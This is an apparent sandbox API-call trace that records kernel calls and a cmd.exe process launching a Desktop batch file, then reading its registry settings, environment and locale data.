[0137.987] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0137.987] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003665f20, HandleInformation=0x0) returned 0x0 [0137.987] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.987] PsReleaseProcessExitSynchronization () returned 0x2 [0137.987] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0137.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.987] ObfDereferenceObject (Object=0xfffffa8003665f20) returned 0x1 [0137.987] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.987] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.988] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0137.988] PsLookupProcessByProcessId (in: ProcessId=0xc58, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.988] PsAcquireProcessExitSynchronization () returned 0x0 [0137.988] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880054735d0) [0137.988] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003450350, HandleInformation=0x0) returned 0x0 [0137.988] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.988] PsReleaseProcessExitSynchronization () returned 0x2 [0137.988] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0137.988] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.988] ObfDereferenceObject (Object=0xfffffa8003450350) returned 0x3 [0137.988] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.988] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1000) returned 0x370b20 [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.988] GetLastError () returned 0x57 [0137.988] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.989] SetLastError (dwErrCode=0x57) [0137.989] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetLastError () returned 0x57 [0137.990] SetLastError (dwErrCode=0x57) [0137.990] GetVersion () returned 0x1db10106 [0137.990] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0137.990] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0137.991] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0137.992] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x350080 | out: hHeap=0x330000) returned 1 [0137.992] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0137.992] RtlExitUserProcess (ExitCode=0x1) [0137.992] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34f050 | out: hHeap=0x330000) returned 1 [0137.999] IofCompleteRequest (Irp=0xfffffa8002d50760, PriorityBoost=0) Thread: id = 862 os_tid = 0xc84 Process: id = "245" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x7626b000" os_pid = "0xc64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 863 os_tid = 0xca0 [0135.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f9f4 | out: lpSystemTimeAsFileTime=0x16f9f4*(dwLowDateTime=0xf444e420, dwHighDateTime=0x1d5d06a)) [0135.936] GetCurrentProcessId () returned 0xc64 [0135.936] GetCurrentThreadId () returned 0xca0 [0135.936] GetTickCount () returned 0x1169695 [0135.936] QueryPerformanceCounter (in: lpPerformanceCount=0x16f9ec | out: lpPerformanceCount=0x16f9ec*=27788832635) returned 1 [0135.937] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0135.937] __set_app_type (_Type=0x1) [0135.937] __p__fmode () returned 0x76be31f4 [0135.937] __p__commode () returned 0x76be31fc [0135.938] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0135.938] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0135.938] GetCurrentThreadId () returned 0xca0 [0135.938] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xca0) returned 0x60 [0135.938] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0135.938] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0135.938] SetThreadUILanguage (LangId=0x0) returned 0x409 [0135.939] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0135.939] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f984 | out: phkResult=0x16f984*=0x0) returned 0x2 [0135.939] VirtualQuery (in: lpAddress=0x16f9bb, lpBuffer=0x16f954, dwLength=0x1c | out: lpBuffer=0x16f954*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0135.939] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16f954, dwLength=0x1c | out: lpBuffer=0x16f954*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0135.939] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16f954, dwLength=0x1c | out: lpBuffer=0x16f954*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0135.939] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16f954, dwLength=0x1c | out: lpBuffer=0x16f954*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0135.939] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16f954, dwLength=0x1c | out: lpBuffer=0x16f954*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0135.939] GetConsoleOutputCP () returned 0x1b5 [0135.939] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0135.940] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0135.940] _get_osfhandle (_FileHandle=1) returned 0x7 [0135.940] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0135.940] _get_osfhandle (_FileHandle=1) returned 0x7 [0135.940] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0135.940] _get_osfhandle (_FileHandle=1) returned 0x7 [0135.940] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0135.941] _get_osfhandle (_FileHandle=0) returned 0x3 [0135.941] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0135.941] _get_osfhandle (_FileHandle=0) returned 0x3 [0135.941] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0135.941] GetEnvironmentStringsW () returned 0x322108* [0135.941] GetProcessHeap () returned 0x310000 [0135.941] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xaca) returned 0x322be0 [0135.942] FreeEnvironmentStringsW (penv=0x322108) returned 1 [0135.942] GetProcessHeap () returned 0x310000 [0135.942] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4) returned 0x3218a8 [0135.942] GetEnvironmentStringsW () returned 0x322108* [0135.942] GetProcessHeap () returned 0x310000 [0135.942] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xaca) returned 0x3236b8 [0135.942] FreeEnvironmentStringsW (penv=0x322108) returned 1 [0135.942] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e8f4 | out: phkResult=0x16e8f4*=0x68) returned 0x0 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x0, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x1, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x1, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x0, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x40, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x40, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.942] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x40, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.943] RegCloseKey (hKey=0x68) returned 0x0 [0135.943] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e8f4 | out: phkResult=0x16e8f4*=0x68) returned 0x0 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x40, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x1, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x1, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x0, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x9, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x4, lpData=0x16e900*=0x9, lpcbData=0x16e8f8*=0x4) returned 0x0 [0135.943] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e8fc, lpData=0x16e900, lpcbData=0x16e8f8*=0x1000 | out: lpType=0x16e8fc*=0x0, lpData=0x16e900*=0x9, lpcbData=0x16e8f8*=0x1000) returned 0x2 [0135.943] RegCloseKey (hKey=0x68) returned 0x0 [0135.943] time (in: timer=0x0 | out: timer=0x0) returned 0x5e27111a [0135.943] srand (_Seed=0x5e27111a) [0135.943] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"\"" [0135.943] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"\"" [0135.944] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0135.944] GetProcessHeap () returned 0x310000 [0135.944] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x322108 [0135.944] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x322110, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0135.944] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0135.944] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0135.944] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0135.944] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0135.944] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0135.945] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0135.945] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0135.945] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0135.945] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0135.945] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0135.945] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0135.945] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0135.945] GetProcessHeap () returned 0x310000 [0135.945] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x322be0 | out: hHeap=0x310000) returned 1 [0135.945] GetEnvironmentStringsW () returned 0x322320* [0135.945] GetProcessHeap () returned 0x310000 [0135.945] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xae2) returned 0x324c80 [0135.945] FreeEnvironmentStringsW (penv=0x322320) returned 1 [0135.945] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0135.945] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0135.945] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0135.945] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0135.945] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0135.945] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0135.945] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0135.945] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0135.945] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0135.945] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0135.945] GetProcessHeap () returned 0x310000 [0135.945] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x54) returned 0x3217d8 [0135.945] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f6c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0135.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f6c0, lpFilePart=0x16f6bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f6bc*="Desktop") returned 0x25 [0135.946] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0135.946] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f43c | out: lpFindFileData=0x16f43c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x325770 [0135.946] FindClose (in: hFindFile=0x325770 | out: hFindFile=0x325770) returned 1 [0135.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f43c | out: lpFindFileData=0x16f43c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ace00, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf29ace00, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x325770 [0135.946] FindClose (in: hFindFile=0x325770 | out: hFindFile=0x325770) returned 1 [0135.946] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0135.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f43c | out: lpFindFileData=0x16f43c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x325770 [0135.946] FindClose (in: hFindFile=0x325770 | out: hFindFile=0x325770) returned 1 [0135.946] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0135.946] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0135.946] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0135.947] GetProcessHeap () returned 0x310000 [0135.947] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324c80 | out: hHeap=0x310000) returned 1 [0135.947] GetEnvironmentStringsW () returned 0x324190* [0135.947] GetProcessHeap () returned 0x310000 [0135.947] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb36) returned 0x325fb0 [0135.947] FreeEnvironmentStringsW (penv=0x324190) returned 1 [0135.947] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0135.947] GetProcessHeap () returned 0x310000 [0135.947] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3217d8 | out: hHeap=0x310000) returned 1 [0135.947] GetProcessHeap () returned 0x310000 [0135.947] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400e) returned 0x326af0 [0135.947] GetProcessHeap () returned 0x310000 [0135.947] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xf0) returned 0x322e60 [0135.948] GetProcessHeap () returned 0x310000 [0135.948] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4008) returned 0x32ab08 [0135.948] GetProcessHeap () returned 0x310000 [0135.948] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4008) returned 0x32eb18 [0135.948] GetProcessHeap () returned 0x310000 [0135.948] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326af0 | out: hHeap=0x310000) returned 1 [0135.948] GetConsoleOutputCP () returned 0x1b5 [0135.949] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0135.949] GetUserDefaultLCID () returned 0x409 [0135.949] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0135.949] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f800, cchData=128 | out: lpLCData="0") returned 2 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f800, cchData=128 | out: lpLCData="0") returned 2 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f800, cchData=128 | out: lpLCData="1") returned 2 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0135.950] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0135.950] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0135.952] GetProcessHeap () returned 0x310000 [0135.952] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x20c) returned 0x322f58 [0135.952] GetConsoleTitleW (in: 